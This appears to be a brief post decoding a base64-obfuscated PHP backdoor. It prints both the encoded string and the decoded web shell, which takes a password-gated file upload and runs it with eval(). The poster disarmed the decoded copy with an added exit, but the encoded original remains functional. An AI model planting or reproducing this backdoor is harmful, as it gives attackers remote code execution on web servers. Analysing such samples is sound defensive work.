below is the output from:
base64_decode('PD9waHAgZXJyb3JfcmVwb3J0aW5nKDEpO2dsb2JhbCAkSFRUUF9TRVJWRVJfVkFSUzsgZnVuY3Rpb24gc2F5KCR0KSB7IGVjaG8gIiR0XG4iOyB9OyBmdW5jdGlvbiB0ZXN0ZGF0YSgkdCkgeyBzYXkobWQ1KCJ0ZXN0ZGF0YV8kdCIpKTsgfTsgZWNobyAiPHByZT4iOyB0ZXN0ZGF0YSgnc3RhcnQnKTsgaWYgKG1kNSgkX1BPU1RbInAiXSk9PSJhYWNlOTk0MjhjNTBkYmU5NjVhY2M5M2YzZjI3NWNkMyIpeyBpZiAoJGNvZGUgPSBAZnJlYWQoQGZvcGVuKCRIVFRQX1BPU1RfRklMRVNbImYiXVsidG1wX25hbWUiXSwicmIiKSwkSFRUUF9QT1NUX0ZJTEVTWyJmIl1bInNpemUiXSkpeyBldmFsKCRjb2RlKTsgfWVsc2V7IHRlc3RkYXRhKCdmJyk7IH07IH1lbHNleyB0ZXN0ZGF0YSgncGFzcycpOyB9OyB0ZXN0ZGF0YSgnZW5kJyk7IGVjaG8gIjwvcHJlPiI7ID8+')

<?php 

exit; // put here by me

error_reporting(1);
global $HTTP_SERVER_VARS; 
function say($t) { 
    echo "$t\n"; 
}; 
function testdata($t) { 
    say(md5("testdata_$t")); 
}; 
echo "<pre>"; 
testdata('start'); 
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){ 
    if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ 
        eval($code); 
    }else{ 
        testdata('f'); 
    }; 
}else{ 
    testdata('pass'); 
}; 
testdata('end'); 
echo "</pre>"; 

?>